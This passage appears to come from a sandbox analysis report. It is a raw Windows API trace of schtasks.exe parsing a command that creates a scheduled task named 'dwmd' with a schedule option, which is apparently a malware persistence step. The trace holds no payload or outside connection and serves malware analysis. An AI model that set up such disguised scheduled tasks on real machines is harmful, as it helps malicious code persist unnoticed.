RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104850 [0107.272] _memicmp (_Buf1=0x277e2104850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x208) returned 0x277e21096e0 [0107.272] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x277e21096e0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0107.272] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xd372b9f838 | out: lpdwHandle=0xd372b9f838) returned 0x76c [0107.273] GetProcessHeap () returned 0x277e2100000 [0107.273] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x776) returned 0x277e210a440 [0107.274] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x277e210a440 | out: lpData=0x277e210a440) returned 1 [0107.274] VerQueryValueW (in: pBlock=0x277e210a440, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xd372b9f7d0, puLen=0xd372b9f830 | out: lplpBuffer=0xd372b9f7d0*=0x277e210a7f0, puLen=0xd372b9f830) returned 1 [0107.285] _memicmp (_Buf1=0x277e2104850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.286] _vsnwprintf (in: _Buffer=0x277e21096e0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xd372b9f7a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0107.286] VerQueryValueW (in: pBlock=0x277e210a440, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xd372b9f7c0, puLen=0xd372b9f828 | out: lplpBuffer=0xd372b9f7c0*=0x277e210a620, puLen=0xd372b9f828) returned 1 [0107.286] lstrlenW (lpString="schtasks.exe") returned 12 [0107.286] lstrlenW (lpString="schtasks.exe") returned 12 [0107.286] lstrlenW (lpString=".EXE") returned 4 [0107.286] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0107.287] lstrlenW (lpString="schtasks.exe") returned 12 [0107.287] lstrlenW (lpString=".EXE") returned 4 [0107.287] _memicmp (_Buf1=0x277e2104850, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.287] lstrlenW (lpString="schtasks") returned 8 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108b00 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108bf0 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b530 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210ba70 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2102130 [0107.287] _memicmp (_Buf1=0x277e2102130, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xa0) returned 0x277e2104290 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b560 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b620 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b4a0 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104740 [0107.287] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.287] GetProcessHeap () returned 0x277e2100000 [0107.287] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x200) returned 0x277e210bab0 [0107.287] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0107.288] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0107.288] GetProcessHeap () returned 0x277e2100000 [0107.288] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x30) returned 0x277e2104340 [0107.288] _vsnwprintf (in: _Buffer=0x277e2104290, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xd372b9f7a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0107.288] GetProcessHeap () returned 0x277e2100000 [0107.288] GetProcessHeap () returned 0x277e2100000 [0107.288] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a440) returned 1 [0107.288] GetProcessHeap () returned 0x277e2100000 [0107.288] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a440) returned 0x776 [0107.288] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a440) returned 1 [0107.288] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="?") returned 1 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="create") returned 6 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="delete") returned 6 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="query") returned 5 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="change") returned 6 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="run") returned 3 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="end") returned 3 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] lstrlenW (lpString="showsid") returned 7 [0107.289] GetThreadLocale () returned 0x409 [0107.289] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.289] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.289] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.289] lstrlenW (lpString="/create") returned 7 [0107.289] lstrlenW (lpString="-/") returned 2 [0107.289] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.289] lstrlenW (lpString="?") returned 1 [0107.289] lstrlenW (lpString="?") returned 1 [0107.290] GetProcessHeap () returned 0x277e2100000 [0107.290] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104380 [0107.290] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.290] GetProcessHeap () returned 0x277e2100000 [0107.290] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xa) returned 0x277e2103910 [0107.290] lstrlenW (lpString="create") returned 6 [0107.290] GetProcessHeap () returned 0x277e2100000 [0107.290] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2103930 [0107.290] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.290] GetProcessHeap () returned 0x277e2100000 [0107.290] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x14) returned 0x277e2103950 [0107.290] _vsnwprintf (in: _Buffer=0x277e2103910, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.290] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.290] lstrlenW (lpString="|?|") returned 3 [0107.290] lstrlenW (lpString="|create|") returned 8 [0107.290] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.290] lstrlenW (lpString="create") returned 6 [0107.290] lstrlenW (lpString="create") returned 6 [0107.290] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.290] GetProcessHeap () returned 0x277e2100000 [0107.290] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103910) returned 1 [0107.290] GetProcessHeap () returned 0x277e2100000 [0107.290] RtlReAllocateHeap (Heap=0x277e2100000, Flags=0xc, Ptr=0x277e2103910, Size=0x14) returned 0x277e2103970 [0107.290] lstrlenW (lpString="create") returned 6 [0107.290] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.290] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.290] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.290] lstrlenW (lpString="|create|") returned 8 [0107.290] lstrlenW (lpString="|create|") returned 8 [0107.290] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0107.290] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.290] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.290] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.291] lstrlenW (lpString="/tn") returned 3 [0107.291] lstrlenW (lpString="-/") returned 2 [0107.291] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.291] lstrlenW (lpString="?") returned 1 [0107.291] lstrlenW (lpString="?") returned 1 [0107.291] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.291] lstrlenW (lpString="tn") returned 2 [0107.291] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.291] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.291] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.291] lstrlenW (lpString="|?|") returned 3 [0107.291] lstrlenW (lpString="|tn|") returned 4 [0107.291] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.291] lstrlenW (lpString="create") returned 6 [0107.291] lstrlenW (lpString="create") returned 6 [0107.291] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.291] lstrlenW (lpString="tn") returned 2 [0107.291] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.291] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.291] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.291] lstrlenW (lpString="|create|") returned 8 [0107.291] lstrlenW (lpString="|tn|") returned 4 [0107.291] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0107.291] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.291] lstrlenW (lpString="delete") returned 6 [0107.291] lstrlenW (lpString="delete") returned 6 [0107.291] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.291] lstrlenW (lpString="tn") returned 2 [0107.291] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.291] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|delete|") returned 8 [0107.291] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.292] lstrlenW (lpString="|delete|") returned 8 [0107.292] lstrlenW (lpString="|tn|") returned 4 [0107.292] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0107.292] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.292] lstrlenW (lpString="query") returned 5 [0107.292] lstrlenW (lpString="query") returned 5 [0107.292] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.292] lstrlenW (lpString="tn") returned 2 [0107.292] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.292] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|query|") returned 7 [0107.292] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.292] lstrlenW (lpString="|query|") returned 7 [0107.292] lstrlenW (lpString="|tn|") returned 4 [0107.292] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0107.292] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.292] lstrlenW (lpString="change") returned 6 [0107.292] lstrlenW (lpString="change") returned 6 [0107.292] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.292] lstrlenW (lpString="tn") returned 2 [0107.292] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.292] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|change|") returned 8 [0107.292] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.292] lstrlenW (lpString="|change|") returned 8 [0107.292] lstrlenW (lpString="|tn|") returned 4 [0107.292] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0107.292] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.292] lstrlenW (lpString="run") returned 3 [0107.292] lstrlenW (lpString="run") returned 3 [0107.292] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.292] lstrlenW (lpString="tn") returned 2 [0107.292] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.292] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|run|") returned 5 [0107.293] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.293] lstrlenW (lpString="|run|") returned 5 [0107.293] lstrlenW (lpString="|tn|") returned 4 [0107.293] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0107.293] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.293] lstrlenW (lpString="end") returned 3 [0107.293] lstrlenW (lpString="end") returned 3 [0107.293] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.293] lstrlenW (lpString="tn") returned 2 [0107.293] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.293] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|end|") returned 5 [0107.293] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.293] lstrlenW (lpString="|end|") returned 5 [0107.293] lstrlenW (lpString="|tn|") returned 4 [0107.293] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0107.293] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.293] lstrlenW (lpString="showsid") returned 7 [0107.293] lstrlenW (lpString="showsid") returned 7 [0107.293] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.293] GetProcessHeap () returned 0x277e2100000 [0107.293] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103970) returned 1 [0107.293] GetProcessHeap () returned 0x277e2100000 [0107.293] RtlReAllocateHeap (Heap=0x277e2100000, Flags=0xc, Ptr=0x277e2103970, Size=0x16) returned 0x277e2103970 [0107.296] lstrlenW (lpString="tn") returned 2 [0107.296] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.296] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|showsid|") returned 9 [0107.296] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tn|") returned 4 [0107.296] lstrlenW (lpString="|showsid|") returned 9 [0107.296] lstrlenW (lpString="|tn|") returned 4 [0107.296] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] lstrlenW (lpString="/tn") returned 3 [0107.296] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] lstrlenW (lpString="/tn") returned 3 [0107.296] GetProcessHeap () returned 0x277e2100000 [0107.296] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x8) returned 0x277e2103910 [0107.296] GetProcessHeap () returned 0x277e2100000 [0107.296] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210ba40 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] lstrlenW (lpString="dwmd") returned 4 [0107.296] lstrlenW (lpString="-/") returned 2 [0107.296] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] lstrlenW (lpString="dwmd") returned 4 [0107.296] StrChrIW (lpStart="dwmd", wMatch=0x3a) returned 0x0 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.296] lstrlenW (lpString="dwmd") returned 4 [0107.296] GetProcessHeap () returned 0x277e2100000 [0107.296] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xa) returned 0x277e210a4b0 [0107.296] GetProcessHeap () returned 0x277e2100000 [0107.297] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b650 [0107.297] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.297] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.297] lstrlenW (lpString="/sc") returned 3 [0107.297] lstrlenW (lpString="-/") returned 2 [0107.297] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.297] lstrlenW (lpString="?") returned 1 [0107.297] lstrlenW (lpString="?") returned 1 [0107.297] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.297] lstrlenW (lpString="sc") returned 2 [0107.297] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.297] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.297] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.297] lstrlenW (lpString="|?|") returned 3 [0107.297] lstrlenW (lpString="|sc|") returned 4 [0107.297] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.297] lstrlenW (lpString="create") returned 6 [0107.297] lstrlenW (lpString="create") returned 6 [0107.297] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.297] lstrlenW (lpString="sc") returned 2 [0107.297] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.297] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.297] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.297] lstrlenW (lpString="|create|") returned 8 [0107.297] lstrlenW (lpString="|sc|") returned 4 [0107.297] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0107.297] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.297] lstrlenW (lpString="delete") returned 6 [0107.297] lstrlenW (lpString="delete") returned 6 [0107.297] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.297] lstrlenW (lpString="sc") returned 2 [0107.297] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.297] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|delete|") returned 8 [0107.298] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.298] lstrlenW (lpString="|delete|") returned 8 [0107.298] lstrlenW (lpString="|sc|") returned 4 [0107.298] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0107.298] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.298] lstrlenW (lpString="query") returned 5 [0107.298] lstrlenW (lpString="query") returned 5 [0107.298] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.298] lstrlenW (lpString="sc") returned 2 [0107.298] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.298] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|query|") returned 7 [0107.298] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.298] lstrlenW (lpString="|query|") returned 7 [0107.298] lstrlenW (lpString="|sc|") returned 4 [0107.298] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0107.298] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.298] lstrlenW (lpString="change") returned 6 [0107.298] lstrlenW (lpString="change") returned 6 [0107.298] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.298] lstrlenW (lpString="sc") returned 2 [0107.298] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.298] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|change|") returned 8 [0107.298] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.298] lstrlenW (lpString="|change|") returned 8 [0107.298] lstrlenW (lpString="|sc|") returned 4 [0107.298] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0107.298] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.298] lstrlenW (lpString="run") returned 3 [0107.298] lstrlenW (lpString="run") returned 3 [0107.298] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.298] lstrlenW (lpString="sc") returned 2 [0107.298] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.299] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|run|") returned 5 [0107.299] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.299] lstrlenW (lpString="|run|") returned 5 [0107.299] lstrlenW (lpString="|sc|") returned 4 [0107.299] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0107.299] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.299] lstrlenW (lpString="end") returned 3 [0107.299] lstrlenW (lpString="end") returned 3 [0107.299] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.299] lstrlenW (lpString="sc") returned 2 [0107.299] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.299] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|end|") returned 5 [0107.299] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.299] lstrlenW (lpString="|end|") returned 5 [0107.299] lstrlenW (lpString="|sc|") returned 4 [0107.299] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0107.299] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.299] lstrlenW (lpString="showsid") returned 7 [0107.299] lstrlenW (lpString="showsid") returned 7 [0107.299] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.299] lstrlenW (lpString="sc") returned 2 [0107.299] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.299] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|showsid|") returned 9 [0107.299] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|sc|") returned 4 [0107.299] lstrlenW (lpString="|showsid|") returned 9 [0107.299] lstrlenW (lpString="|sc|") returned 4 [0107.299] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0107.299] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.299] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.299] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.299] lstrlenW (lpString="/sc") returned 3 [0107.299] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0107.299] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.299] RtlRestoreLastWin32Error () returned 